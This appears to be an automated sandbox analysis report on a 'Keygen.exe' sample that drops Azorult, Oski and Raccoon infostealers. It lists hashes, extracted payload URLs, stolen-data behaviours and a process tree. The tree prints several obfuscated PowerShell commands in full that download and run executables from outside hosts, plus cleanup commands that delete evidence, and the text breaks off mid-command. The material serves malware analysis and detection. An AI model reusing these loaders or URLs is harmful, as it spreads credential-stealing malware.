Resubmissions
14-03-2021 10:17
210314-fsh5gvfbqx 1031-10-2020 16:07
201031-jhx64f88en 1001-10-2020 20:46
201001-nyhbt4p25j 1001-10-2020 20:45
201001-c3xkyk1ytn 1001-10-2020 20:43
201001-j5wlprfb6a 1023-09-2020 09:23
200923-31plnbj8kx 1007-09-2020 15:39
200907-ttv28yxx3e 1007-09-2020 15:39
200907-n38qzysfy6 1007-09-2020 15:38
200907-9llegynkjx 1007-09-2020 15:31
200907-3xqj79j9gx 10Analysis
-
max time kernel
82s -
max time network
79s -
platform
windows7_x64 -
resource
win7 -
submitted
23-09-2020 09:23
Static task
static1
Behavioral task
behavioral1
Sample
Keygen.exe
Resource
win7
Behavioral task
behavioral2
Sample
Keygen.exe
Resource
win10v200722
Errors
General
-
Target
Keygen.exe
-
Size
849KB
-
MD5
dbde61502c5c0e17ebc6919f361c32b9
-
SHA1
189749cf0b66a9f560b68861f98c22cdbcafc566
-
SHA256
88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
-
SHA512
d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
Malware Config
Extracted
http://bit.do/fqhHT
http://bit.do/fqhHT
Extracted
http://zxvbcrt.ug/zxcvb.exe
http://zxvbcrt.ug/zxcvb.exe
Extracted
http://pdshcjvnv.ug/zxcvb.exe
http://pdshcjvnv.ug/zxcvb.exe
Extracted
http://bit.do/fqhJv
http://bit.do/fqhJv
Extracted
http://bit.do/fqhJD
http://bit.do/fqhJD
Extracted
http://rbcxvnb.ug/zxcvb.exe
http://rbcxvnb.ug/zxcvb.exe
Extracted
C:\Users\Admin\AppData\LocalLow\machineinfo.txt
raccoon
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.
Processes:
yara_rule raccoon_log_file -
Blacklisted process makes network request 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exeflow pid process 14 1484 powershell.exe 16 812 powershell.exe 17 1628 powershell.exe 21 812 powershell.exe 22 1628 powershell.exe 23 1484 powershell.exe -
Executes dropped EXE 19 IoCs
Processes:
Keygen.execuk.exeita.exeVjghertvcSD.exejna.exeIhfgetrDSqwe.exeVjghertvcSD.exeIhfgetrDSqwe.exeita.exejna.execuk.exeIhfgetrDSqwe.exeIhfgetrDSqwe.exeooo.exeVjghertvcSD.exeVjghertvcSD.exeooo.exeaaa.exeaaa.exepid process 1512 Keygen.exe 2584 cuk.exe 2600 ita.exe 2700 VjghertvcSD.exe 2680 jna.exe 2764 IhfgetrDSqwe.exe 2804 VjghertvcSD.exe 2872 IhfgetrDSqwe.exe 2828 ita.exe 2908 jna.exe 2224 cuk.exe 952 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 2496 ooo.exe 2656 VjghertvcSD.exe 2136 VjghertvcSD.exe 2820 ooo.exe 2796 aaa.exe 1520 aaa.exe -
Loads dropped DLL 45 IoCs
Processes:
cmd.exepowershell.exepowershell.exepowershell.exeita.exejna.exeIhfgetrDSqwe.exeIhfgetrDSqwe.exeWScript.exeVjghertvcSD.exeVjghertvcSD.exeooo.exeWScript.exeIhfgetrDSqwe.exeIhfgetrDSqwe.exeooo.exeaaa.exeita.exepid process 1048 cmd.exe 812 powershell.exe 1484 powershell.exe 1484 powershell.exe 1628 powershell.exe 2600 ita.exe 2600 ita.exe 1628 powershell.exe 2600 ita.exe 2600 ita.exe 2680 jna.exe 2680 jna.exe 2680 jna.exe 2680 jna.exe 2872 IhfgetrDSqwe.exe 2764 IhfgetrDSqwe.exe 1520 WScript.exe 2700 VjghertvcSD.exe 2804 VjghertvcSD.exe 2496 ooo.exe 2888 WScript.exe 952 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 952 IhfgetrDSqwe.exe 952 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 952 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 952 IhfgetrDSqwe.exe 2820 ooo.exe 2820 ooo.exe 2820 ooo.exe 2820 ooo.exe 2820 ooo.exe 2796 aaa.exe 2828 ita.exe 2828 ita.exe 2828 ita.exe 2828 ita.exe 2828 ita.exe 2828 ita.exe 2828 ita.exe 2828 ita.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops desktop.ini file(s) 1 IoCs
Processes:
ita.exedescription ioc process File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini ita.exe -
JavaScript code in executable 6 IoCs
Processes:
resource yara_rule C:\ProgramData\nss3.dll js C:\ProgramData\nss3.dll js \ProgramData\nss3.dll js \ProgramData\nss3.dll js \ProgramData\nss3.dll js \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll js -
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
Processes:
IhfgetrDSqwe.exeIhfgetrDSqwe.exeVjghertvcSD.exeVjghertvcSD.exepid process 952 IhfgetrDSqwe.exe 952 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 2392 IhfgetrDSqwe.exe 2656 VjghertvcSD.exe 2656 VjghertvcSD.exe 2136 VjghertvcSD.exe 2136 VjghertvcSD.exe -
Suspicious use of SetThreadContext 9 IoCs
Processes:
ita.exejna.execuk.exeIhfgetrDSqwe.exeIhfgetrDSqwe.exeVjghertvcSD.exeVjghertvcSD.exeooo.exeaaa.exedescription pid process target process PID 2600 set thread context of 2828 2600 ita.exe ita.exe PID 2680 set thread context of 2908 2680 jna.exe jna.exe PID 2584 set thread context of 2224 2584 cuk.exe cuk.exe PID 2872 set thread context of 952 2872 IhfgetrDSqwe.exe IhfgetrDSqwe.exe PID 2764 set thread context of 2392 2764 IhfgetrDSqwe.exe IhfgetrDSqwe.exe PID 2700 set thread context of 2656 2700 VjghertvcSD.exe VjghertvcSD.exe PID 2804 set thread context of 2136 2804 VjghertvcSD.exe VjghertvcSD.exe PID 2496 set thread context of 2820 2496 ooo.exe ooo.exe PID 2796 set thread context of 1520 2796 aaa.exe aaa.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
IhfgetrDSqwe.exeIhfgetrDSqwe.exeooo.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString IhfgetrDSqwe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString IhfgetrDSqwe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ooo.exe -
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 1828 timeout.exe 1968 timeout.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 2584 taskkill.exe 964 taskkill.exe 1976 taskkill.exe -
Processes:
mshta.exemshta.exemshta.exemshta.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Processes:
ita.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 ita.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 ita.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execuk.exeooo.exeaaa.exepid process 1484 powershell.exe 788 powershell.exe 1608 powershell.exe 812 powershell.exe 1692 powershell.exe 1628 powershell.exe 1608 powershell.exe 788 powershell.exe 1628 powershell.exe 812 powershell.exe 1484 powershell.exe 1692 powershell.exe 2584 cuk.exe 2584 cuk.exe 2496 ooo.exe 2496 ooo.exe 2796 aaa.exe 2796 aaa.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
ita.exejna.exeIhfgetrDSqwe.exeIhfgetrDSqwe.exeVjghertvcSD.exeVjghertvcSD.exepid process 2600 ita.exe 2680 jna.exe 2872 IhfgetrDSqwe.exe 2764 IhfgetrDSqwe.exe 2700 VjghertvcSD.exe 2804 VjghertvcSD.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execuk.exeooo.exetaskkill.exetaskkill.exeaaa.exetaskkill.exedescription pid process Token: SeDebugPrivilege 1484 powershell.exe Token: SeDebugPrivilege 1608 powershell.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeDebugPrivilege 812 powershell.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeDebugPrivilege 1692 powershell.exe Token: SeDebugPrivilege 2584 cuk.exe Token: SeDebugPrivilege 2496 ooo.exe Token: SeDebugPrivilege 2584 taskkill.exe Token: SeDebugPrivilege 964 taskkill.exe Token: SeDebugPrivilege 2796 aaa.exe Token: SeDebugPrivilege 1976 taskkill.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
Keygen.exeita.exeVjghertvcSD.exejna.exeIhfgetrDSqwe.exeIhfgetrDSqwe.exeVjghertvcSD.exepid process 1512 Keygen.exe 2600 ita.exe 2700 VjghertvcSD.exe 2680 jna.exe 2764 IhfgetrDSqwe.exe 2872 IhfgetrDSqwe.exe 2804 VjghertvcSD.exe -
Suspicious use of WriteProcessMemory 192 IoCs
Processes:
Keygen.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exedescription pid process target process PID 1088 wrote to memory of 1048 1088 Keygen.exe cmd.exe PID 1088 wrote to memory of 1048 1088 Keygen.exe cmd.exe PID 1088 wrote to memory of 1048 1088 Keygen.exe cmd.exe PID 1088 wrote to memory of 1048 1088 Keygen.exe cmd.exe PID 1048 wrote to memory of 1512 1048 cmd.exe Keygen.exe PID 1048 wrote to memory of 1512 1048 cmd.exe Keygen.exe PID 1048 wrote to memory of 1512 1048 cmd.exe Keygen.exe PID 1048 wrote to memory of 1512 1048 cmd.exe Keygen.exe PID 1048 wrote to memory of 1380 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1380 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1380 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1380 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1832 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1832 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1832 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1832 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1828 1048 cmd.exe timeout.exe PID 1048 wrote to memory of 1828 1048 cmd.exe timeout.exe PID 1048 wrote to memory of 1828 1048 cmd.exe timeout.exe PID 1048 wrote to memory of 1828 1048 cmd.exe timeout.exe PID 1832 wrote to memory of 1608 1832 mshta.exe powershell.exe PID 1832 wrote to memory of 1608 1832 mshta.exe powershell.exe PID 1832 wrote to memory of 1608 1832 mshta.exe powershell.exe PID 1832 wrote to memory of 1608 1832 mshta.exe powershell.exe PID 1380 wrote to memory of 1628 1380 mshta.exe powershell.exe PID 1380 wrote to memory of 1628 1380 mshta.exe powershell.exe PID 1380 wrote to memory of 1628 1380 mshta.exe powershell.exe PID 1380 wrote to memory of 1628 1380 mshta.exe powershell.exe PID 1048 wrote to memory of 1604 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1604 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1604 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1604 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1860 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1860 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1860 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1860 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1968 1048 cmd.exe timeout.exe PID 1048 wrote to memory of 1968 1048 cmd.exe timeout.exe PID 1048 wrote to memory of 1968 1048 cmd.exe timeout.exe PID 1048 wrote to memory of 1968 1048 cmd.exe timeout.exe PID 1860 wrote to memory of 788 1860 mshta.exe powershell.exe PID 1860 wrote to memory of 788 1860 mshta.exe powershell.exe PID 1860 wrote to memory of 788 1860 mshta.exe powershell.exe PID 1860 wrote to memory of 788 1860 mshta.exe powershell.exe PID 1604 wrote to memory of 812 1604 mshta.exe powershell.exe PID 1604 wrote to memory of 812 1604 mshta.exe powershell.exe PID 1604 wrote to memory of 812 1604 mshta.exe powershell.exe PID 1604 wrote to memory of 812 1604 mshta.exe powershell.exe PID 1048 wrote to memory of 1200 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1200 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1200 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1200 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1092 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1092 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1092 1048 cmd.exe mshta.exe PID 1048 wrote to memory of 1092 1048 cmd.exe mshta.exe PID 1200 wrote to memory of 1484 1200 mshta.exe powershell.exe PID 1200 wrote to memory of 1484 1200 mshta.exe powershell.exe PID 1200 wrote to memory of 1484 1200 mshta.exe powershell.exe PID 1200 wrote to memory of 1484 1200 mshta.exe powershell.exe PID 1092 wrote to memory of 1692 1092 mshta.exe powershell.exe PID 1092 wrote to memory of 1692 1092 mshta.exe powershell.exe PID 1092 wrote to memory of 1692 1092 mshta.exe powershell.exe PID 1092 wrote to memory of 1692 1092 mshta.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Keygen.exe"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\C40.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\Keygen.exeKeygen.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C40.tmp\m.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\jna.exe"C:\Users\Public\jna.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"7⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 952 & erase C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe & RD /S /Q C:\\ProgramData\\954511868557547\\* & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 9529⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\jna.exe"C:\Users\Public\jna.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C40.tmp\m1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C40.tmp\b.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\cuk.exe"C:\Users\Public\cuk.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Jwoasxr.vbs"6⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\ooo.exe"C:\Users\Admin\AppData\Local\Temp\ooo.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Gsgxeo.vbs"8⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\aaa.exe"C:\Users\Admin\AppData\Local\Temp\aaa.exe"9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\aaa.exe"C:\Users\Admin\AppData\Local\Temp\aaa.exe"10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\ooo.exe"C:\Users\Admin\AppData\Local\Temp\ooo.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2820 & erase C:\Users\Admin\AppData\Local\Temp\ooo.exe & RD /S /Q C:\\ProgramData\\014646040477042\\* & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 282010⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\cuk.exe"C:\Users\Public\cuk.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C40.tmp\b1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 